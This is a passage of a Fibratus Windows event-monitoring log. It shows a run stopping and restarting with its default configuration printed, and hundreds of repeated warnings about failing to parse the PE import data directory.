data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:57:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:57:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:57:05+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:57:06+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:57:07+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:59:05+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:59:05+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:59:05+01:00 level=info msg=bootstrapping with pid 18104. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:59:05+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>true quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>false] mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + kstream ........................ [ enable-mem=>true enable-registry=>true enable-handle=>false enable-audit-api=>true enable-image=>true buffer-size=>512 flush-interval=>1s stack-enrichment=>true enable-net=>true enable-thread=>true enable-vamap=>true enable-dns=>true max-buffers=>36 blacklist=>[ images=>[] events=>[]] min-buffers=>16 enable-fileio=>true] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 level=>info max-size=>100 max-age=>0] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[] serializer=>json enabled=>false method=>POST] amqp=>[ durable=>false passive=>false tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s delivery-mode=>transient routing-key=>fibratus exchange-type=>topic enabled=>false vhost=>/ url=>amqp://localhost:5672] elasticsearch=>[ template-name=>fibratus index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-timeout=>5s sniff=>false flush-period=>1s gzip-compression=>false trace-log=>false healthcheck-interval=>10s timeout=>5s bulk-workers=>1 enabled=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>true alert-via=>mail alert-template=>[] excluded-procs=>[] scan-timeout=>10s excluded-files=>[] enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:59:05+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:59:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:59:07+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:59:07+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:59:07+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:59:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: 